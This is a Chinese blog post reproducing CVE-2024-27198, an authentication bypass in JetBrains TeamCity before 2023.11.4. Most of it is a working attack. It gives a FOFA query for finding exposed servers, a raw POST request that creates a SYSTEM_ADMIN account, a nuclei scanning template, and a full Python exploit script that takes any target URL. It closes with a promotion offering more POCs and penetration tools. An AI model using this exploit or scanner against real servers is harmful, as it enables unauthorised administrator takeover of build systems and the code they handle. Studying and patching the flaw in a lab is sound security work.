CVE-2024-27198漏洞复现(POC)

CVE-2024-27198漏洞复现(POC)

原创 fgz AI与网安 2024-03-08 07:01





本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

01

漏洞名称

TeamCity 2023.11.3 及以下版本存在身份验证绕过漏洞

02

漏洞影响

JetBrains TeamCity < 2023.11.4版本

CVE-2024-27198漏洞复现(POC) -1

03

漏洞描述

JetBrains TeamCity是一款由JetBrains开发的持续集成和持续交付(CI/CD)服务器。它提供了一个功能强大的平台,用于自动化构建、
测试和部署软件项目。
TeamCity旨在简化团队协作和软件交付流程,提高开发团队的效率和产品质量。

JetBrains TeamCity在2023.11.4版本之前存在认证绕过漏洞,允许执行管理员操作。攻击者可以利用该漏洞绕过认证机制,直接执行管理员操作,可能导致系统受到未授权访问和恶意操作的威胁。

04

FOFA搜索语句

body="Log in to TeamCity"

CVE-2024-27198漏洞复现(POC) -2

05

靶场搭建

docker安装

拉取镜像

docker pull jetbrains/teamcity-server:2023.11.3

启动容器

docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3

然后访问
http://localhost:8111

06

漏洞复现

POC数据包如下

POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "[email protected]", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

执行poc会创建管理员账户,请在靶场操作。

07

批量扫描poc

如果直接使用上面的数据包,实际上已经是一种入侵行为,尝试通过判断版本号来扫描漏洞。各位看官有更好的办法记得私信我。

nuclei poc文件内容如下

id: CVE-2024-27198

info:
  name: TeamCity 2023.11.3 及以下版本存在身份验证绕过漏洞
  author: fgz
  severity: critical
  description: JetBrains TeamCity是一款由JetBrains开发的持续集成和持续交付(CI/CD)服务器。它提供了一个功能强大的平台,用于自动化构建、测试和部署软件项目。TeamCity旨在简化团队协作和软件交付流程,提高开发团队的效率和产品质量。JetBrains TeamCity在2023.11.4版本之前存在认证绕过漏洞,允许执行管理员操作。攻击者可以利用该漏洞绕过认证机制,直接执行管理员操作,可能导致系统受到未授权访问和恶意操作的威胁。
  metadata:
    max-request: 1
    fofa-query: body="Log in to TeamCity"
    verified: true
requests:
  - method: GET
    path:
      - "{{RootURL}}/login.html"

    extractors:
      - type: regex # type of the extractor
        name: version_
        part: body
#        internal: true
        group: 1
        regex:
          - '<span class="vWord">Version</span>(.+?)</span>'
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200 && version_ < '2023.11.4'"

运行POC

nuclei.exe -t mypoc/cve/CVE-2024-27198.yaml -l 1.txt

CVE-2024-27198漏洞复现(POC) -3

08

漏洞利用

github上发现个现成的用python写的EXP,
EXP放到工具包中了,文末获取

import requests
import urllib3
import argparse
import re
urllib3.disable_warnings()

parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target",required=True, help="Target TeamCity Server URL")
parser.add_argument("-u", "--username", required=True,help="Insert username for the new user")
parser.add_argument("-p", "--password",required=True, help="Insert password for the new user")
args = parser.parse_args()

vulnerable_endpoint = "/pwned?jsp=/app/rest/users;.jsp" # Attacker’s path to exploit CVE-2024-27198, please refer to the Rapid7's blogpost for more information

def check_version():
    response = requests.get(args.target+"/login.html", verify=False) 
    repattern = r'<span class="vWord">Version</span>(.+?)</span>' # Regex pattern to extract the TeamCity version number
    try:
        version = re.findall(repattern, response.text)[0]
        print("[+] Version Found:", version)
    except:
        print("[-] Version not found")

def exploit():
    response = requests.get(args.target+vulnerable_endpoint, verify=False, timeout=10)
    http_code = response.status_code
    if http_code == 200:
        print("[+] Server vulnerable, returning HTTP", http_code) # HTTP 200 Status code is needed to confirm if the TeamCity Server is vulnerable to the auth bypass vuln
        create_user = {
            "username": args.username,
            "password": args.password,
            "email": f"{args.username}@mydomain.com",
            "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}, # Given admin permissions to your new user, basically you can have complete control of this TeamCity Server
        }
        headers = {"Content-Type": "application/json"}
        create_user = requests.post(args.target+vulnerable_endpoint, json=create_user, headers=headers, verify=False) # POST request to create the new user with admin privileges
        if create_user.status_code == 200:
            print("[+] New user", args.username, "created succesfully! Go to", args.target+"/login.html to login with your new credentials :)")
        else:
            print("[-] Error while creating new user")

    else:
        print("[-] Probable not vulnerable, returning HTTP", http_code) 

check_version()
exploit()

复制代码到
CVE-
2024

27198
.py文件,然后执行创建账号。-t指定目标,-u指定用户名,-p指定密码

python CVE-2024-27198.py -t http://localhost:8111 -u mynewadminuser -p mypassword

09

修复建议

升级到2023.11.4及以上版本。

10

新粉丝福利领取

在公众号主页或者文章末尾点击发送消息免费领取。

发送【
电子书】关键字获取电子书

发送【
POC】关键字获取POC

发送【
工具】获取渗透工具包